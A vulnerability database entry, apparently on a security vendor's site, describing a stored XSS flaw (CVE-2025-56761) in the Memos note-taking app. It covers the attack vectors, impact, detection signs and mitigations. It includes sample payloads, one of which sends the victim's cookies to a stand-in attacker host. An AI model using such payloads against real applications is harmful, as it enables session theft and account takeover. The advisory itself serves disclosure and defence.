
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-56761 is a Stored Cross-Site Scripting (XSS) vulnerability in Memos version 0.22.0, an open-source note-taking application built with Go and React. The flaw exists in the upload attachment and user avatar features, where the application fails to validate the content type of uploaded data and serves it back without sanitization. An authenticated attacker can exploit this to inject malicious JavaScript that executes in an administrator's browser, enabling privilege escalation. The vulnerability was discovered by Sonar researchers, reported to the Memos maintainers on February 11, 2025, and publicly disclosed on September 2–3, 2025 after no response was received within the 90-day disclosure window. It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, SonarSource Blog).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests in two distinct attack surfaces. First, in the file attachment upload path (/memos.api.v1.ResourceService/CreateResource), the server stores and re-serves user-uploaded files without verifying their MIME type, allowing an attacker to upload an HTML file containing JavaScript that executes when viewed in a browser. Second, in the user avatar feature (UpdateUser endpoint), Memos accepts a data: URI for the avatar URL and later serves it via GetUserAvatarBinary, which uses the extractImageInfo function to parse the user-supplied content type directly from the data URI — with no validation that the content is a legitimate image. An attacker can supply text/html as the content type with a base64-encoded malicious script payload, which is then served with that content type to any user who views the avatar. Both vectors require the attacker to be authenticated but impose no further privilege requirements (SonarSource Blog, Github Advisory).
Successful exploitation allows a low-privileged authenticated attacker to inject persistent JavaScript that executes in the context of any user — particularly administrators — who views the malicious attachment or avatar. When triggered by an admin, the XSS payload can steal session tokens, perform unauthorized administrative actions (such as changing workspace storage settings), or chain with the companion path traversal vulnerability (CVE-2025-56760) to achieve full remote code execution and complete server compromise. Confidentiality and integrity are both impacted through potential session hijacking and unauthorized configuration changes, though availability is not directly affected (SonarSource Blog).
A proof-of-concept technical write-up is publicly available from SonarSource, which details the exploitation mechanics of both XSS vectors. There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.027%–0.058%, indicating a low near-term exploitation probability (SonarSource Blog, Github Advisory).
UpdateUser API endpoint with the avatar_url field set to a malicious data URI, e.g., data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== (base64-encoded <script>alert(1)</script>). This stores the payload server-side.CreateResource endpoint, setting the filename and content to an HTML file containing a malicious script (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>).Content-Type: text/html, causing the browser to execute the embedded script.UpdateUser with avatar_url fields containing data:text/html or non-image MIME types.UpdateUser requests with avatar_url values containing data:text/html;base64,...; requests to /file/users/{id}/avatar or resource binary endpoints returning Content-Type: text/html responses..html extensions or HTML content despite non-HTML filenames; unexpected files written outside the assets/ directory (indicative of chained CVE-2025-56760 exploitation).As of the time of disclosure, the Memos maintainers had not responded to the responsible disclosure report and no official patch was released for version 0.22.0. The GitHub Advisory notes that no patched version is available for the affected <= 0.22.0 range. Sonar strongly recommends restricting Memos access to trusted, authenticated users only as an immediate mitigation. Additional defensive measures include implementing a strict Content Security Policy (CSP) to limit script execution, enforcing server-side MIME type validation for all uploads, and monitoring for anomalous API usage patterns. Organizations should evaluate transitioning to a more actively maintained platform if a patch is not forthcoming (SonarSource Blog, Github Advisory).
Sonar's vulnerability research team (Yaniv Nizry) published a detailed technical blog post on August 6, 2025, highlighting the discovery as a demonstration of SonarQube's Go static analysis capabilities applied to real-world open-source projects. The post noted that Memos maintainers did not respond to multiple disclosure attempts over 90 days, which Sonar cited as a concern for the open-source security community. The disclosure was covered by standard vulnerability tracking feeds (NVD, ENISA EUVD, GitHub Advisory Database), but no significant broader media coverage or notable community debate was identified (SonarSource Blog).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."